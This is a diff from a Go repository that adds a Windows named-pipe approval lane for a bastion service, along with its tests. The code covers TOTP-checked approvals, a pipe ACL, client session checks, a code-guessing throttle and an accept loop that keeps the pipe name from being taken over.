dcn, _ := releaseTestBox(t)
newCA := releaseTestCAFile(t, releaseTestCA(t, "new host CA (invented)"))
withMachineAuthority(t, true)
if p, err := anchorConsentPath(); err == nil {
_ = os.WriteFile(p, []byte(`{}`), 0o600)
}
if err := cmdReleaseAnchor(tAnchor, newCA, false); err != nil {
t.Fatalf("release: %v", err)
}
if currentAnchor() != nil {
t.Fatal("still anchored")
}
if p, _ := anchorConsentPath(); fileExists(p) {
t.Fatal("a rotation consent for the released anchor was left behind")
}
cfgs, _ := loadPairings()
if pairingFor(cfgs, tAnchor) != nil {
t.Fatal("the released Host is still paired")
}
if fileExists(dcn) {
t.Fatal("the released Host's DCN state is still where a new pairing of that name would read it")
}
aside, _ := filepath.Glob(dcn + ".released-*")
if len(aside) != 1 || !fileExists(filepath.Join(aside[0], "stepup.json")) || !fileExists(filepath.Join(aside[0], "dcn.json")) {
t.Fatalf("its state must be kept, set aside: %v", aside)
}
// Again: nothing is left to release, and that is not an error, so an
// installer can retry a step that stopped half-way.
if err := cmdReleaseAnchor(tAnchor, newCA, false); err != nil {
t.Fatalf("a second release must succeed with nothing to do: %v", err)
}
// The new Host, under the same name: the precheck lets it in as active,
// and it starts with no inherited pin and no inherited factor.
if _, state, err := pairPrecheck(cfgs, handleOf(tAnchor), false, false); err != nil || (state != "" && state != pairingActive) {
t.Fatalf("the new Host must pair as active: state %q err %v", state, err)
}
writePairing(t, tAnchor)
cfgs, _ = loadPairings()
fresh := pairingFor(cfgs, tAnchor).dcnDir()
if stepupEnrolled(fresh) || fileExists(filepath.Join(fresh, "dcn.json")) {
t.Fatal("the new pairing inherited the old Host's pin or factor")
}
if err := cmdClaimAnchor("", false, "", ""); err != nil {
t.Fatalf("claim-anchor after the release: %v", err)
}
if a := currentAnchor(); a == nil || a.AnchorHost != tAnchor {
t.Fatalf("not anchored to the new Host: %+v", a)
}
if anchorVerifyKey() != "" {
t.Fatal("the new anchor carries a key pin; it must be pinned on the new Host's first contact")
}
}
func fileExists(p string) bool {
_, err := os.Stat(p)
return err == nil
}
File diff suppressed because it is too large Load Diff
+517
View File
@@ -0,0 +1,517 @@
package main
// approvalpipe.go — the signed-in person's lane to a bastion that runs as the
// machine's system service.
//
// THE PROBLEM. On Windows a networked bastion is a LocalSystem service
// (sysservice_windows.go), and its state, the TOTP secrets included, sits in
// LocalSystem's profile. The person at the machine works in their own,
// unelevated account. Before this lane the only places to answer a Host's
// request were an Administrator terminal and the admin page, both behind a UAC
// prompt, so every approval cost a prompt.
//
// THE LANE. The service serves a named pipe. The tray, running as the person
// (tray_pipe_windows.go), connects and can do exactly three things:
//
// - list what is pending, in the operation's own words: describeRequest,
// the same text `privatae-bastion approvals` prints;
// - approve ONE request id with a code from the authenticator enrolled on
// this machine, verified by the existing step-up check (stepupApproveRequest)
// and bound to the purpose the tray showed (purpose_sha256);
// - deny one request id, which needs no code, as on every other lane.
//
// WHAT NEVER CROSSES IT. The TOTP secret, ui.secret, an approval id, a device
// approval. The secret stays in the service's state; the tray sends a code and
// gets back "approved" or why not. Device approvals (uidevice.go) are not
// listed at all: they need no code, so offering them here would let any
// process running as the person approve them.
//
// WHO MAY CONNECT. The pipe's ACL admits interactive users only. The service
// then identifies the client from the pipe itself (GetNamedPipeClientProcessId
// and that process's token) and serves only a process running as the person
// signed in to that process's own session, in a session someone is in front of
// (pipeClientRefusal). A runas process of another account inside the session,
// a service, session 0 and a disconnected session are refused. Of those people,
// it serves only the account that owns this machine's approvals, recorded in
// the service's state by the installer (approvals_owner.go).
//
// WHY A THROTTLE HERE AND NOT ON THE ADMIN PAGE. The admin page's approve has
// no attempt limit because a process that can reach it can read the seed
// anyway (ui.go). Through this lane that is no longer true: a process running
// as the person cannot read the seed, so guessing codes is its only way in.
// pipeThrottle bounds that, the way NIST SP 800-63B 5.2.2 asks: free
// attempts, then one attempt per pipeSlowEvery, and none after
// pipeLockAfter consecutive failures until a code is accepted on another lane
// (an Administrator terminal or the admin page), which resets the count.
//
// The decisions are here, untagged, so the suite checks them on every
// platform. The Windows calls that gather the client's identity and move the
// bytes are in approvalpipe_windows.go.
import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
"os"
"path/filepath"
"strconv"
"strings"
"sync"
"time"
)
const (
// approvalPipeName is the pipe the service serves and the tray dials.
approvalPipeName = `\\.\pipe\privatae-bastion-approvals`
// approvalPipeSDDL: SYSTEM and Administrators full control; Interactive
// users (IU) read, write and synchronize, and NOT FILE_CREATE_PIPE_INSTANCE.
// 0x12019b is FILE_GENERIC_READ|FILE_GENERIC_WRITE (0x12019f) without
// FILE_APPEND_DATA (0x4), which on a pipe is the right to create another
// server instance of it: granting it would let a client stand up its own
// end of this name and read the next code the tray sends. P protects the
// DACL from inheritance.
approvalPipeSDDL = "D:P(A;;GA;;;SY)(A;;GA;;;BA)(A;;0x12019b;;;IU)"
// pipeMaxRequest bounds one request. A list request is a few bytes and an
// approve is under 300; anything larger is not ours.
pipeMaxRequest = 16 << 10
// pipeIOTimeout bounds every read and write on one connection, so a client
// that connects and says nothing cannot hold an instance.
pipeIOTimeout = 5 * time.Second
// pipeMaxClients bounds the connections served at once.
pipeMaxClients = 8
// The throttle (see the header). Five free attempts covers mistyped codes
// and a code typed as the window turned; after that one attempt per
// pipeSlowEvery, so an attacker gets at most pipeLockAfter guesses (a
// 3-in-a-million chance each with the drift window) before the lane closes.
pipeFreeFailures = 5
pipeSlowEvery = 30 * time.Second
pipeLockAfter = 100
)
// pipeRequest is one request from the tray.
type pipeRequest struct {
Op string `json:"op"` // list | approve | deny
// Host and ID name the request; Purpose is the sha256 of the purpose the
// tray was shown for that id, so what is approved is what was read.
Host string `json:"host,omitempty"`
ID string `json:"id,omitempty"`
Purpose string `json:"purpose_sha256,omitempty"`
Code string `json:"code,omitempty"`
}
// pipeApproval is one pending request as the tray shows it.
type pipeApproval struct {
ID string `json:"id"`
Short string `json:"short"`
Host string `json:"host"`
At string `json:"at"`
Lines []string `json:"lines"`
Unreadable bool `json:"unreadable,omitempty"`
Purpose string `json:"purpose_sha256"`
}
// pipeResponse is the service's one answer.
type pipeResponse struct {
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
Message string `json:"message,omitempty"`
// list only: the machine's state for the tray's icon and first line, and
// what is waiting.
State string `json:"state,omitempty"`
StateClass string `json:"state_class,omitempty"`
StateLine string `json:"state_line,omitempty"`
Approvals []pipeApproval `json:"approvals,omitempty"`
}
// pipeClient is what the service learned about the process on the other end.
type pipeClient struct {
PID uint32
UserSID string // the client process token's user
UserName string // for the log line
SessionID uint32 // the client process token's session
// SessionUserSID is the user signed in to SessionID (WTSQueryUserToken),
// "" when nobody is.
SessionUserSID string
SessionActive bool // WTSActive: the session someone is in front of
}
// purposeDigest is the sha256 of a purpose as the tray carries it back.
func purposeDigest(purpose string) string {
s := sha256.Sum256([]byte(purpose))
return hex.EncodeToString(s[:])
}
// winPersonSID reports whether a SID names a person's account: one issued by
// the machine or its domain (S-1-5-21-) or by Microsoft Entra ID (S-1-12-1-).
// SYSTEM, the service and virtual accounts and every group are not.
func winPersonSID(sid string) bool {
return strings.HasPrefix(sid, "S-1-5-21-") || strings.HasPrefix(sid, "S-1-12-1-")
}
// pipeClientRefusal says why a connected process may not use the lane, or ""
// when it may: it must run as the person signed in to its own session, in a
// session someone is in front of.
func pipeClientRefusal(c pipeClient) string {
switch {
case c.UserSID == "":
return "cannot tell which account connected"
case c.SessionID == 0:
return "the connecting process runs in session 0, where services run and nobody signs in"
case !winPersonSID(c.UserSID):
return "the connecting process runs as " + pipeWho(c) + ", one of the machine's own identities, not a person"
case c.SessionUserSID == "":
return "nobody is signed in to the session the connecting process runs in"
case !strings.EqualFold(c.UserSID, c.SessionUserSID):
return "the connecting process runs as " + pipeWho(c) + ", not as the person signed in to its session"
case !c.SessionActive:
return "the connecting process runs in a session nobody is in front of"
}
return ""
}
// pipeAccessRefusal is every rule on who may use the lane, for list, deny and
// approve alike: a person at their own active session (pipeClientRefusal),
// and the one account that owns this machine's approvals (approvals_owner.go).
func pipeAccessRefusal(c pipeClient) string {
if why := pipeClientRefusal(c); why != "" {
return why
}
return pipeOwnerRefusal(c, approvalsOwner())
}
func pipeWho(c pipeClient) string {
if c.UserName != "" {
return c.UserName + " (" + c.UserSID + ")"
}
return c.UserSID
}
// ── the throttle ────────────────────────────────────────────────────────────
type pipeThrottleFile struct {
Failures int `json:"failures"`
Last string `json:"last,omitempty"`
}
func pipeThrottlePath(dir string) string { return filepath.Join(dir, "pipe_code_failures.json") }
func pipeThrottleLoad(dir string) pipeThrottleFile {
var f pipeThrottleFile
if raw, err := os.ReadFile(pipeThrottlePath(dir)); err == nil {
_ = json.Unmarshal(raw, &f)
}
return f
}
// pipeThrottleRefusal says why the lane takes no code for this pairing now, or
// "" when it does.
func pipeThrottleRefusal(f pipeThrottleFile, now time.Time) string {
if f.Failures >= pipeLockAfter {
return fmt.Sprintf("%d wrong codes in a row came through the tray, so it takes no more codes for this Host. "+
"Approve once from an Administrator terminal (privatae-bastion approvals, then privatae-bastion approve <id>) "+
"and the tray takes codes again", f.Failures)
}
if f.Failures < pipeFreeFailures {
return ""
}
last, err := time.Parse(time.RFC3339, f.Last)
if err != nil {
return ""
}
if wait := pipeSlowEvery - now.Sub(last); wait > 0 {
return fmt.Sprintf("%d wrong codes in a row; try again in %d seconds", f.Failures, int(wait.Seconds()+0.999))
}
return ""
}
// pipeThrottleFail records one wrong code. Under stepupMu, like every other
// write to a pairing's step-up state.
func pipeThrottleFail(dir string, now time.Time) {
stepupMu.Lock()
defer stepupMu.Unlock()
f := pipeThrottleLoad(dir)
f.Failures++
f.Last = now.UTC().Format(time.RFC3339)
if raw, err := json.MarshalIndent(f, "", " "); err == nil {
_ = atomicWrite(pipeThrottlePath(dir), raw)
}
}
// pipeThrottleReset clears the count. stepupApproveRequest calls it after any
// accepted code, on any lane, so an approval from an Administrator terminal
// re-opens a locked tray.
func pipeThrottleReset(dir string) {
_ = os.Remove(pipeThrottlePath(dir))
}
// pipeCodeError reports whether an approve failed on the code itself (and so
// counts towards the throttle), rather than on the request or the store.
func pipeCodeError(err error) bool {
if err == nil {
return false
}
s := err.Error()
return s == "code refused" || s == "code already used"
}
// ── serving one request ─────────────────────────────────────────────────────
// pipeServe answers one request from client c. It is the whole lane apart
// from moving bytes, so the suite runs it directly.
func pipeServe(req pipeRequest, c pipeClient, now time.Time) pipeResponse {
if why := pipeAccessRefusal(c); why != "" {
return pipeResponse{Error: "refused: " + why}
}
switch req.Op {
case "list":
return pipeList()
case "approve":
return pipeApprove(req, c, now)
case "deny":
return pipeDeny(req, c)
}
return pipeResponse{Error: "unknown request " + strconv.Quote(req.Op)}
}
// pipeList is the machine's state line and every pending step-up request, in
// the words describeRequest gives them (collectUIStatus reads them through
// pendingApprovals, which is what the admin page and its approvals popup show).
func pipeList() pipeResponse {
s := collectUIStatus()
out := pipeResponse{OK: true, State: s.State, StateClass: s.StateClass, StateLine: trayStateLine(s)}
for _, a := range s.Approvals {
out.Approvals = append(out.Approvals, pipeApproval{
ID: a.ID, Short: a.Short, Host: a.Host, At: a.At, Lines: a.Lines,
Unreadable: a.Unreadable, Purpose: a.PurposeSHA256,
})
}
return out
}
// pipeTarget resolves a request named by host and id to its pairing's step-up
// state, refusing unless the request is pending and its purpose is the one the
// tray showed.
func pipeTarget(req pipeRequest) (dir string, r stepupRequest, err error) {
if strings.TrimSpace(req.Host) == "" || strings.TrimSpace(req.ID) == "" {
return "", r, errors.New("which request? the tray sends a Host and a request id")
}
cfg, err := approvalTarget(req.Host)
if err != nil {
return "", r, err
}
dir = cfg.dcnDir()
if dir == "" || !stepupEnrolled(dir) {
return "", r, fmt.Errorf("no second factor is enrolled on this machine for %s", cfg.HostName)
}
stepupMu.Lock()
r, ok := requestsLoad(dir)[req.ID]
stepupMu.Unlock()
if !ok || r.State != "pending" {
return "", r, errors.New("that request is no longer waiting (answered elsewhere, or lapsed)")
}
// BOUND TO WHAT WAS SHOWN. An id names one request, and a request's purpose
// never changes; the check makes that a property of this lane rather than
// of how ids are made, so a tray drawing one card and posting another's id
// approves nothing.
if req.Purpose == "" || req.Purpose != purposeDigest(r.Purpose) {
return "", r, errors.New("that request is not the one shown; nothing was approved — reopen the list")
}
return dir, r, nil
}
// pipeApproveMu makes the throttle's check, the attempt and the count one step:
// without it, pipeMaxClients connections could each pass the check before any
// of their failures was recorded.
var pipeApproveMu sync.Mutex
func pipeApprove(req pipeRequest, c pipeClient, now time.Time) pipeResponse {
pipeApproveMu.Lock()
defer pipeApproveMu.Unlock()
code := strings.TrimSpace(req.Code)
if code == "" {
return pipeResponse{Error: "enter the code from the authenticator enrolled on this machine"}
}
dir, _, err := pipeTarget(req)
if err != nil {
return pipeResponse{Error: err.Error()}
}
stepupMu.Lock()
thr := pipeThrottleLoad(dir)
stepupMu.Unlock()
if why := pipeThrottleRefusal(thr, now); why != "" {
return pipeResponse{Error: why}
}
if _, err := stepupApproveRequest(dir, req.ID, code); err != nil {
if pipeCodeError(err) {
pipeThrottleFail(dir, now)
dcnAudit(dir, "stepup_approve_tray", 0, "", "refused for "+pipeWho(c)+": "+err.Error())
}
return pipeResponse{Error: "not approved: " + err.Error()}
}
dcnAudit(dir, "stepup_approve_tray", 0, "", "approved by "+pipeWho(c))
return pipeResponse{OK: true, Message: "Approved. " + req.Host + " picks this up on its next check-in, within a minute."}
}
func pipeDeny(req pipeRequest, c pipeClient) pipeResponse {
dir, _, err := pipeTarget(req)
if err != nil {
return pipeResponse{Error: err.Error()}
}
// No code, as on every other lane: refusing is the safe direction.
if err := stepupDenyRequest(dir, req.ID); err != nil {
return pipeResponse{Error: "not denied: " + err.Error()}
}
dcnAudit(dir, "stepup_deny_tray", 0, "", "denied by "+pipeWho(c))
return pipeResponse{OK: true, Message: "Denied. " + req.Host + " is told on its next check-in."}
}
// ── the accept loop ─────────────────────────────────────────────────────────
// errPipeStopped: a wait ended because the service is stopping.
var errPipeStopped = errors.New("stopped")
// pipeInstances is the pipe as pipeAcceptLoop sees it. approvalPipeServer
// (approvalpipe_windows.go) is the real one; the suite drives a fake, so the
// loop's one invariant is checked off Windows.
type pipeInstances[T any] interface {
// create opens a new server instance of the pipe's name.
create() (T, error)
// connect waits for a client on t: nil once one is connected,
// errPipeStopped when the service stopped first.
connect(t T) error
// release closes t.
release(t T)
}
// pipeAcceptLoop serves the pipe until stop is closed, handing each connected
// instance to serve on its own goroutine, at most maxClients at once.
//
// NO GAP IN THE NAME. From the first create until stop, one of our instances
// is always open: a pipe's name exists only while an instance of it is, and in
// a gap any process could create the name and be the server the tray dials
// next. So a replacement is always created BEFORE the instance it replaces is
// released, after a connect that worked and after one that failed (a client
// that connects and closes at once fails the connect, and can do that on
// purpose, as often as it likes).
//
// ready, when not nil, is called once the first instance exists: from then on
// the service holds the name.
func pipeAcceptLoop[T any](p pipeInstances[T], stop <-chan struct{}, maxClients int, retry time.Duration,
logf func(string, ...any), ready func(), serve func(T)) error {
slots := make(chan struct{}, maxClients)
next, err := p.create()
if err != nil {
return err
}
if ready != nil {
ready()
}
for {
c := next
select {
case slots <- struct{}{}:
case <-stop:
p.release(c)
return nil
}
if err := p.connect(c); err != nil {
<-slots
if errors.Is(err, errPipeStopped) {
p.release(c)
return nil
}
// One failed connect is that client's. Its replacement is created
// while it is still open, and only then is it closed: no gap.
fresh, cerr := p.create()
p.release(c)
if cerr != nil {
return cerr
}
next = fresh
continue
}
// The next instance first, while this one is still open: no gap.
for {
if next, err = p.create(); err == nil {
break
}
logf("approvals pipe: %v; retrying\n", err)
select {
case <-stop:
p.release(c)
return nil
case <-time.After(retry):
}
}
go func(c T) {
defer func() { <-slots }()
defer p.release(c)
serve(c)
}(c)
}
}
// pipeRetryFirst and pipeRetryMax bound the wait between attempts to serve
// the pipe after one failed.
const (
pipeRetryFirst = time.Second
pipeRetryMax = time.Minute
)
// pipeServeRetrying runs serve until stop (serve returns nil), starting it
// again whenever it fails. serve calls ready once it holds the pipe's name.
// wait sleeps, and reports false when the service stopped meanwhile.
//
// THE NAME TAKEN AT START. A process that creates the pipe's name before the
// service does (at boot, or in the five seconds of a restart) makes the
// service's first create fail, because that create insists on the name being
// new (FILE_FLAG_FIRST_PIPE_INSTANCE): the service never serves under a name it
// did not create. Rather than leaving the tray off until the next restart, the
// service tries again, waiting pipeRetryFirst and doubling to pipeRetryMax,
// and starts the wait again once it holds the name. The log says so once per
// series of failed attempts and once when serving again, not once per try.
func pipeServeRetrying(serve func(ready func()) error, wait func(time.Duration) bool, logf func(string, ...any)) {
backoff := pipeRetryFirst
failing := false
for {
err := serve(func() {
if failing {
logf("approvals pipe: serving again\n")
failing = false
}
backoff = pipeRetryFirst
})
if err == nil {
return
}
if !failing {
logf("approvals pipe: %v. Approvals are answered from an Administrator terminal meanwhile; "+
"retrying, waiting up to %s between attempts.\n", err, pipeRetryMax)
failing = true
}
if !wait(backoff) {
return
}
if backoff *= 2; backoff > pipeRetryMax {
backoff = pipeRetryMax
}
}
}
// pipeDecode reads one request, refusing anything that is not one JSON object
// within pipeMaxRequest.
func pipeDecode(raw []byte) (pipeRequest, error) {
var req pipeRequest
if len(raw) > pipeMaxRequest {
return req, errors.New("request too large")
}
if err := json.Unmarshal(raw, &req); err != nil {
return req, errors.New("not a request")
}
return req, nil
}
+188
View File
@@ -0,0 +1,188 @@
package main
// The approvals pipe's accept loop (pipeAcceptLoop, approvalpipe.go), driven
// with a fake pipe so its one invariant is checked off Windows: from the first
// instance until the service stops, the pipe's name always has one of our
// instances open, so no other process can create it in between.
import (
"errors"
"fmt"
"strings"
"sync"
"testing"
"time"
)
// fakePipeInstances counts open instances and records every moment one of
// ours closed with none left open while the loop was still serving.
type fakePipeInstances struct {
mu sync.Mutex
open int
made int
gaps []string
stop <-chan struct{}
stopping bool
// script is what each connect returns, in order; after it, connect waits
// for stop.
script []error
connects int
}
func (f *fakePipeInstances) create() (int, error) {
f.mu.Lock()
defer f.mu.Unlock()
f.made++
f.open++
return f.made, nil
}
func (f *fakePipeInstances) release(id int) {
f.mu.Lock()
defer f.mu.Unlock()
f.open--
if f.open == 0 && !f.stopping {
f.gaps = append(f.gaps, fmt.Sprintf("instance %d closed with none of ours open", id))
}
}
func (f *fakePipeInstances) connect(int) error {
f.mu.Lock()
i := f.connects
f.connects++
f.mu.Unlock()
if i < len(f.script) {
return f.script[i]
}
<-f.stop
f.mu.Lock()
f.stopping = true
f.mu.Unlock()
return errPipeStopped
}
func (f *fakePipeInstances) snapshot() (connects, open int, gaps []string) {
f.mu.Lock()
defer f.mu.Unlock()
return f.connects, f.open, append([]string(nil), f.gaps...)
}
func TestThePipeNameAlwaysHasOneOfOurInstancesOpen(t *testing.T) {
stop := make(chan struct{})
// A client that connects and closes at once fails the connect; it can do
// that on purpose, as often as it likes. Mixed with clients that are served.
closed := errors.New("the client closed before the connect")
f := &fakePipeInstances{stop: stop, script: []error{closed, closed, nil, closed, nil, closed}}
served := make(chan int, 8)
done := make(chan error, 1)
go func() {
done <- pipeAcceptLoop[int](f, stop, 2, time.Millisecond, func(string, ...any) {}, nil, func(id int) { served <- id })
}()
for i := 0; i < 2; i++ {
select {
case <-served:
case <-time.After(5 * time.Second):
t.Fatal("the loop did not serve the connected clients")
}
}
for deadline := time.Now().Add(5 * time.Second); ; {
if n, _, _ := f.snapshot(); n > len(f.script) {
break // waiting for the next client
}
if time.Now().After(deadline) {
t.Fatal("the loop never came back to wait for the next client")
}
time.Sleep(time.Millisecond)
}
close(stop)
select {
case err := <-done:
if err != nil {
t.Fatalf("the loop ended with %v, want nil on stop", err)
}
case <-time.After(5 * time.Second):
t.Fatal("the loop did not end on stop")
}
if _, _, gaps := f.snapshot(); len(gaps) > 0 {
t.Fatalf("the pipe's name was free while the service served it, so another process could have created it:\n %v", gaps)
}
// And nothing is left open once the served clients are done.
for deadline := time.Now().Add(5 * time.Second); ; {
if _, open, _ := f.snapshot(); open == 0 {
break
}
if time.Now().After(deadline) {
_, open, _ := f.snapshot()
t.Fatalf("%d instance(s) still open after stop", open)
}
time.Sleep(time.Millisecond)
}
}
func TestThePipeIsRetriedWithBackoffWhenItsNameIsTaken(t *testing.T) {
// What each attempt to serve does: fail before it holds the name (another
// process created it first), or hold the name (ready) and then fail or stop.
type attempt struct {
ready bool
err error
}
taken := errors.New("cannot create the pipe: the name is held by another process")
broke := errors.New("the next instance could not be created")
attempts := []attempt{{false, taken}, {false, taken}, {false, taken}, {true, broke}, {false, taken}, {true, nil}}
var n int
var waits []time.Duration
var logs []string
pipeServeRetrying(func(ready func()) error {
if n >= len(attempts) {
t.Fatal("served again after it stopped")
}
a := attempts[n]
n++
if a.ready {
ready()
}
return a.err
}, func(d time.Duration) bool {
waits = append(waits, d)
return true
}, func(f string, a ...any) { logs = append(logs, fmt.Sprintf(f, a...)) })
if n != len(attempts) {
t.Fatalf("%d attempts, want %d: a failed start must be tried again", n, len(attempts))
}
want := []time.Duration{time.Second, 2 * time.Second, 4 * time.Second, time.Second, 2 * time.Second}
if fmt.Sprint(waits) != fmt.Sprint(want) {
t.Fatalf("waits %v, want %v (doubling, and starting again once the name was held)", waits, want)
}
// Once per series of attempts, and once when it is serving again.
retrying, again := 0, 0
for _, l := range logs {
switch {
case strings.Contains(l, "retrying"):
retrying++
case strings.Contains(l, "serving again"):
again++
}
}
if retrying != 2 || again != 2 || len(logs) != 4 {
t.Fatalf("log lines %q: want one per series of failed attempts (2) and one per recovery (2)", logs)
}
}
func TestThePipeRetryWaitIsCappedAndEndsWithTheService(t *testing.T) {
var waits []time.Duration
tries := 0
pipeServeRetrying(func(func()) error {
tries++
return errors.New("the name is held by another process")
}, func(d time.Duration) bool {
waits = append(waits, d)
return len(waits) < 12 // the service stops during the twelfth wait
}, func(string, ...any) {})
if tries != 12 {
t.Fatalf("%d attempts, want 12: none after the service stopped", tries)
}
if last := waits[len(waits)-1]; last != pipeRetryMax {
t.Fatalf("the wait grew to %v, want it capped at %v", last, pipeRetryMax)
}
}
+366
View File
@@ -0,0 +1,366 @@
package main
// The tray's lane to a system service (approvalpipe.go), driven through
// pipeServe: who may use it, what it lists, and that a code approves exactly
// the one request that was shown, once, and not by guessing.
//
// Every value here is invented.
import (
"encoding/json"
"os"
"regexp"
"strconv"
"strings"
"testing"
"time"
)
const (
pipeTestHost = "tray.host.example"
pipeTestSecret = "GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ" // base32 of "0123456789012345"
pipeTestUser = "S-1-5-21-1111111111-2222222222-3333333333-1001"
)
// thePerson is a client that may use the lane: the person signed in to an
// active session, connecting from it.
var thePerson = pipeClient{PID: 4242, UserSID: pipeTestUser, UserName: `EXAMPLE\pat`,
SessionID: 1, SessionUserSID: pipeTestUser, SessionActive: true}
// pipeBox is one paired Host with a factor enrolled and two pending requests,
// A and B, in an isolated config dir.
func pipeBox(t *testing.T) (dir, idA, purposeA, idB, purposeB string) {
t.Helper()
uiTestConfigDir(t)
writePairing(t, pipeTestHost)
cfgs, err := loadPairings()
if err != nil || len(cfgs) != 1 {
t.Fatalf("pairing: %v %d", err, len(cfgs))
}
dir = cfgs[0].dcnDir()
if err := stepupSave(dir, &stepupFile{SecretB32: pipeTestSecret, EnrolledAt: "2026-10-19T00:00:00Z", LastCounter: -1}); err != nil {
t.Fatal(err)
}
// The person owns this machine's approvals, as the installer records it.
writeApprovalsOwner(t, pipeTestUser)
ask := func(root string) (string, string) {
d := map[string]any{"kind": "dcn_store_grant", "server": "desk-7", "root": root,
"mask": []any{"read", "search"}, "excludes": []any{".ssh"}, "sweep": "hourly", "sensitive": false}
p, err := purposeFromDetails(d)
if err != nil {
t.Fatal(err)
}
id, err := stepupNewRequest(dir, p, d)
if err != nil {
t.Fatal(err)
}
return id, p
}
idA, purposeA = ask("/srv/example-a")
idB, purposeB = ask("/srv/example-b")
return
}
// writeApprovalsOwner records sid as the owner of this machine's approvals,
// the file `approvals-owner` writes.
func writeApprovalsOwner(t *testing.T, sid string) {
t.Helper()
p, err := approvalsOwnerPath()
if err != nil {
t.Fatal(err)
}
raw, _ := json.Marshal(approvalsOwnerRecord{SID: sid, SetAt: "2026-10-19T00:00:00Z"})
if err := atomicWrite(p, raw); err != nil {
t.Fatal(err)
}
}
// anotherPerson is someone else with an account on the machine, signed in to
// an active session of their own: everything pipeClientRefusal asks, and not
// the owner.
var anotherPerson = pipeClient{PID: 5151, UserSID: "S-1-5-21-1111111111-2222222222-3333333333-1002", UserName: `EXAMPLE\sam`,
SessionID: 2, SessionUserSID: "S-1-5-21-1111111111-2222222222-3333333333-1002", SessionActive: true}
func TestThePipeServesOnlyTheAccountThatOwnsTheApprovals(t *testing.T) {
dir, idA, purposeA, _, _ := pipeBox(t)
now := time.Now()
if why := pipeClientRefusal(anotherPerson); why != "" {
t.Fatalf("the fixture must pass the session rules: %s", why)
}
refusedOwner := func(resp pipeResponse, what string) {
t.Helper()
if resp.OK || !strings.Contains(resp.Error, "belong to another account") {
t.Fatalf("%s by another account must be refused: %+v", what, resp)
}
}
refusedOwner(pipeServe(pipeRequest{Op: "list"}, anotherPerson, now), "list")
code := pipeCodeNow()
refusedOwner(pipeServe(pipeRequest{Op: "approve", Host: pipeTestHost, ID: idA, Purpose: purposeDigest(purposeA), Code: code}, anotherPerson, now), "approve")
refusedOwner(pipeServe(pipeRequest{Op: "deny", Host: pipeTestHost, ID: idA, Purpose: purposeDigest(purposeA)}, anotherPerson, now), "deny")
if r := stateOf(t, dir, idA); r.State != "pending" {
t.Fatalf("a refused account changed the request: %s", r.State)
}
// Refused before any code was looked at: the owner's code still works.
if resp := pipeServe(pipeRequest{Op: "approve", Host: pipeTestHost, ID: idA, Purpose: purposeDigest(purposeA), Code: code}, thePerson, now); !resp.OK {
t.Fatalf("the owner's approve: %+v", resp)
}
// No owner recorded, or a record that cannot be read: nobody is served.
p, _ := approvalsOwnerPath()
if err := os.Remove(p); err != nil {
t.Fatal(err)
}
if resp := pipeServe(pipeRequest{Op: "list"}, thePerson, now); resp.OK || !strings.Contains(resp.Error, "no account is recorded") {
t.Fatalf("with no owner recorded the lane serves nobody: %+v", resp)
}
if err := os.WriteFile(p, []byte(`{"sid": 7`), 0o600); err != nil {
t.Fatal(err)
}
if resp := pipeServe(pipeRequest{Op: "list"}, thePerson, now); resp.OK {
t.Fatalf("an unreadable owner record must serve nobody: %+v", resp)
}
}
func pipeCodeNow() string {
raw, _ := b32decode(pipeTestSecret)
return hotp(raw, time.Now().Unix()/stepupPeriod)
}
func stateOf(t *testing.T, dir, id string) stepupRequest {
t.Helper()
r, ok := requestsLoad(dir)[id]
if !ok {
t.Fatalf("request %s is gone", id)
}
return r
}
// ── who may connect ─────────────────────────────────────────────────────────
func TestThePipeServesOnlyThePersonSignedInToTheirOwnSession(t *testing.T) {
if why := pipeClientRefusal(thePerson); why != "" {
t.Fatalf("the person at the screen was refused: %s", why)
}
other := "S-1-5-21-1111111111-2222222222-3333333333-1002"
cases := map[string]pipeClient{
"unknown account": {PID: 1, SessionID: 1, SessionUserSID: pipeTestUser, SessionActive: true},
"session 0": {PID: 1, UserSID: pipeTestUser, SessionID: 0, SessionUserSID: pipeTestUser, SessionActive: true},
"SYSTEM in a session": {PID: 1, UserSID: "S-1-5-18", SessionID: 1, SessionUserSID: pipeTestUser, SessionActive: true},
"a service account": {PID: 1, UserSID: "S-1-5-80-123-456", SessionID: 1, SessionUserSID: pipeTestUser, SessionActive: true},
"another account, run as": {PID: 1, UserSID: other, SessionID: 1, SessionUserSID: pipeTestUser, SessionActive: true},
"nobody signed in to its session": {PID: 1, UserSID: pipeTestUser, SessionID: 2, SessionActive: true},
"a disconnected session": {PID: 1, UserSID: pipeTestUser, SessionID: 1, SessionUserSID: pipeTestUser, SessionActive: false},
}
for name, c := range cases {
if pipeClientRefusal(c) == "" {
t.Errorf("%s: accepted, and must be refused", name)
}
}
// And a refused client gets nothing at all: no list, no approval, even
// with the right code for a real request.
dir, idA, purposeA, _, _ := pipeBox(t)
intruder := cases["another account, run as"]
if resp := pipeServe(pipeRequest{Op: "list"}, intruder, time.Now()); resp.OK || len(resp.Approvals) != 0 {
t.Fatalf("a refused client was shown the list: %+v", resp)
}
resp := pipeServe(pipeRequest{Op: "approve", Host: pipeTestHost, ID: idA, Purpose: purposeDigest(purposeA), Code: pipeCodeNow()},
intruder, time.Now())
if resp.OK || stateOf(t, dir, idA).State != "pending" {
t.Fatalf("a refused client approved a request: %+v", resp)
}
if f, _ := stepupLoad(dir); f.LastCounter != -1 {
t.Fatal("a refused client's code was checked and burned")
}
}
// ── what it lists ───────────────────────────────────────────────────────────
func TestThePipeListsWhatIsPendingInTheConsolesWordsAndNoSecret(t *testing.T) {
dir, idA, purposeA, idB, _ := pipeBox(t)
resp := pipeServe(pipeRequest{Op: "list"}, thePerson, time.Now())
if !resp.OK || len(resp.Approvals) != 2 {
t.Fatalf("list: %+v", resp)
}
byID := map[string]pipeApproval{}
for _, a := range resp.Approvals {
byID[a.ID] = a
}
a, ok := byID[idA]
if !ok || byID[idB].ID == "" {
t.Fatalf("both pending requests must be listed: %+v", resp.Approvals)
}
// The same words `privatae-bastion approvals` prints.
want := describeRequest(requestsLoad(dir)[idA])
if strings.Join(a.Lines, "\n") != strings.TrimSpace(want) {
t.Fatalf("the tray's words are not the console's:\n%q\n%q", a.Lines, want)
}
if a.Purpose != purposeDigest(purposeA) || a.Host != pipeTestHost {
t.Fatalf("the card must name its Host and carry its purpose's digest: %+v", a)
}
raw, _ := json.Marshal(resp)
if strings.Contains(string(raw), pipeTestSecret) {
t.Fatal("the TOTP secret crossed the pipe")
}
